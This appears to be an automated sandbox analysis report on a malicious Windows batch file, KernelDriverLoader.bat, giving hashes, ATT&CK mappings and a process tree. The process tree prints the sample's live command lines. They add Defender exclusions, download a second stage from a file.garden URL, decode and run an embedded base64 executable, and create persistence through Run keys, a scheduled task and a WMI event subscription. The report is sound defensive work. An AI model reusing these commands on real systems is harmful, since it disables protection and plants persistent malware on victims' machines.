fe842f609e399712413f3eec680daa084345a386664679d55255179095f129da

Analysis

user interaction
yes
max time kernel
148s
max time network
138s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/09/2026, 19:38

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General

Target
KernelDriverLoader.bat
Size 1KB
Sample260920-ycejsa1vbz
SHA256 fe842f609e399712413f3eec680daa084345a386664679d55255179095f129da
MD5 c69174160cbe426dc64c0dd8549df184
SHA1 1a79f7999e98d9783747a01c1cc4b2a18176be56
SHA512 66ac7b0bbdab27f47b32e9141e9bc857739456739e1c12e060fba4e195b37d9152889244d9e8690661e2181db2cfa41a9264d53836d2e632c5c6a9a18dbdde77
TLSH
T1E431E1018B2157C8597F5EA8808323E0B79ED3EA0359EE9FD46145A43C0C9C78C9E8F9
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution persistence privilege_escalation upx

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5160	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3784	powershell.exe
5160	powershell.exe
4192	powershell.exe
4192	powershell.exe
1428	powershell.exe
6128	powershell.exe
3784	powershell.exe
5160	powershell.exe
3876	powershell.exe
2640	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-3598944992.tmp	6ab3ba73-b258-431f-8829-f2afa13432b2.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-3567313442.tmp	Scvhost.exe

Executes dropped EXE 2 IoCs

pid	Process
3092	6ab3ba73-b258-431f-8829-f2afa13432b2.exe
5932	Scvhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-520add19 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\Scvhost.exe\""	6ab3ba73-b258-431f-8829-f2afa13432b2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2714045687-1127350534-2056456672-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-acdf98be = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\Scvhost.exe\""	Scvhost.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000e00000001c5b1-85.dat	upx
behavioral2/memory/3092-98-0x00007FF698780000-0x00007FF69C7E9000-memory.dmp	upx
behavioral2/memory/5932-124-0x00007FF79C850000-0x00007FF7A08B9000-memory.dmp	upx
behavioral2/memory/3092-126-0x00007FF698780000-0x00007FF69C7E9000-memory.dmp	upx
behavioral2/memory/3092-129-0x00007FF698780000-0x00007FF69C7E9000-memory.dmp	upx

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1648	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	6ab3ba73-b258-431f-8829-f2afa13432b2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	6ab3ba73-b258-431f-8829-f2afa13432b2.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
3784	powershell.exe
3784	powershell.exe
5160	powershell.exe
5160	powershell.exe
5160	powershell.exe
3876	powershell.exe
3876	powershell.exe
3876	powershell.exe
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
2640	powershell.exe
2640	powershell.exe
2640	powershell.exe
1428	powershell.exe
1428	powershell.exe
1428	powershell.exe
6128	powershell.exe
6128	powershell.exe
6128	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeIncreaseQuotaPrivilege	3784	powershell.exe
Token: SeSecurityPrivilege	3784	powershell.exe
Token: SeTakeOwnershipPrivilege	3784	powershell.exe
Token: SeLoadDriverPrivilege	3784	powershell.exe
Token: SeSystemProfilePrivilege	3784	powershell.exe
Token: SeSystemtimePrivilege	3784	powershell.exe
Token: SeProfSingleProcessPrivilege	3784	powershell.exe
Token: SeIncBasePriorityPrivilege	3784	powershell.exe
Token: SeCreatePagefilePrivilege	3784	powershell.exe
Token: SeBackupPrivilege	3784	powershell.exe
Token: SeRestorePrivilege	3784	powershell.exe
Token: SeShutdownPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeSystemEnvironmentPrivilege	3784	powershell.exe
Token: SeRemoteShutdownPrivilege	3784	powershell.exe
Token: SeUndockPrivilege	3784	powershell.exe
Token: SeManageVolumePrivilege	3784	powershell.exe
Token: 33	3784	powershell.exe
Token: 34	3784	powershell.exe
Token: 35	3784	powershell.exe
Token: 36	3784	powershell.exe
Token: SeIncreaseQuotaPrivilege	3784	powershell.exe
Token: SeSecurityPrivilege	3784	powershell.exe
Token: SeTakeOwnershipPrivilege	3784	powershell.exe
Token: SeLoadDriverPrivilege	3784	powershell.exe
Token: SeSystemProfilePrivilege	3784	powershell.exe
Token: SeSystemtimePrivilege	3784	powershell.exe
Token: SeProfSingleProcessPrivilege	3784	powershell.exe
Token: SeIncBasePriorityPrivilege	3784	powershell.exe
Token: SeCreatePagefilePrivilege	3784	powershell.exe
Token: SeBackupPrivilege	3784	powershell.exe
Token: SeRestorePrivilege	3784	powershell.exe
Token: SeShutdownPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeSystemEnvironmentPrivilege	3784	powershell.exe
Token: SeRemoteShutdownPrivilege	3784	powershell.exe
Token: SeUndockPrivilege	3784	powershell.exe
Token: SeManageVolumePrivilege	3784	powershell.exe
Token: 33	3784	powershell.exe
Token: 34	3784	powershell.exe
Token: 35	3784	powershell.exe
Token: 36	3784	powershell.exe
Token: SeIncreaseQuotaPrivilege	3784	powershell.exe
Token: SeSecurityPrivilege	3784	powershell.exe
Token: SeTakeOwnershipPrivilege	3784	powershell.exe
Token: SeLoadDriverPrivilege	3784	powershell.exe
Token: SeSystemProfilePrivilege	3784	powershell.exe
Token: SeSystemtimePrivilege	3784	powershell.exe
Token: SeProfSingleProcessPrivilege	3784	powershell.exe
Token: SeIncBasePriorityPrivilege	3784	powershell.exe
Token: SeCreatePagefilePrivilege	3784	powershell.exe
Token: SeBackupPrivilege	3784	powershell.exe
Token: SeRestorePrivilege	3784	powershell.exe
Token: SeShutdownPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeSystemEnvironmentPrivilege	3784	powershell.exe
Token: SeRemoteShutdownPrivilege	3784	powershell.exe
Token: SeUndockPrivilege	3784	powershell.exe
Token: SeManageVolumePrivilege	3784	powershell.exe
Token: 33	3784	powershell.exe
Token: 34	3784	powershell.exe
Token: 35	3784	powershell.exe
Token: 36	3784	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 4764	1648	cmd.exe	92
PID 1648 wrote to memory of 3784	1648	cmd.exe	93
PID 1648 wrote to memory of 5160	1648	cmd.exe	95
PID 5160 wrote to memory of 3876	5160	powershell.exe	96
PID 1648 wrote to memory of 4192	1648	cmd.exe	101
PID 4192 wrote to memory of 3092	4192	powershell.exe	102
PID 3092 wrote to memory of 2640	3092	6ab3ba73-b258-431f-8829-f2afa13432b2.exe	103
PID 5932 wrote to memory of 1428	5932	Scvhost.exe	108
PID 5932 wrote to memory of 6128	5932	Scvhost.exe	110

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KernelDriverLoader.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1648
- C:\Windows\system32\fltMC.exe
  fLtMc
  2⤵
  PID:4764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" -NoProfile -WindowStyle Hidden -Command "aDd-MpPrEfeReNcE -ExClUsIoNpAtH 'C:\Users\Public\Documents\WindowsCache'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'pOwErShElL.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'cMd.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'wScRiPt.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.BaT'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.CmD'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.Ps1'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.SyS'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.DlL'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" /c powershell -NoProfile -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://file.garden/aq8jkB_uhFstvyCo/KernalDriverLoaderSYSinstall.bat' -OutFile 'C:\Users\Public\Documents\WindowsCache\svc.bat' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command Continue=SilentlyContinue
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$f=$env:_OVD_SELF;$l=[IO.File]::ReadAllLines($f);$i=0;for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq ':OVD_BA7F83A1AEB1437A'){$i=$j+1;break}};$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');[IO.File]::WriteAllBytes($t,$b);Start-Process $t;exit"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Users\Admin\AppData\Local\Temp\6ab3ba73-b258-431f-8829-f2afa13432b2.exe
    "C:\Users\Admin\AppData\Local\Temp\6ab3ba73-b258-431f-8829-f2afa13432b2.exe"
    3⤵
    - Creates a file in the Startup directory
    - Executes dropped EXE
    - Adds Run key to start application
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:3092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Scvhost_adc3ad25' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5636

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5380

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe"
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:5932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Scvhost_adc3ad25' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'Scvhost_fadc3ad25'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'Scvhost_cadc3ad25'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='Scvhost_fadc3ad25'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='Scvhost_cadc3ad25'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6128

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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